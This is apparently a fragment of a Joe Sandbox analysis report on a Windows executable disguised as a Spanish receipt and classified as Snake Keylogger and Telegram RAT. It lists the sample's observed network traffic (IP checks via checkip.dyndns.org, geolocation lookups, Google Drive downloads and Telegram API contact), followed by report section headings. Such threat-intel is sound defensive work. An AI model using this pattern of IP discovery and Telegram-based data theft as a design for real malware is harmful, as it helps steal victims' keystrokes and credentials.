Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: drive.google.com
Source: global traffic	DNS traffic detected: DNS query: drive.usercontent.google.com
Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Justificante67ab404ffe31b359e00a499e656454545.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Telegram RAT

Threatname: Snake Keylogger

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Windows Analysis Report
Justificante67ab404ffe31b359e00a499e656454545.exe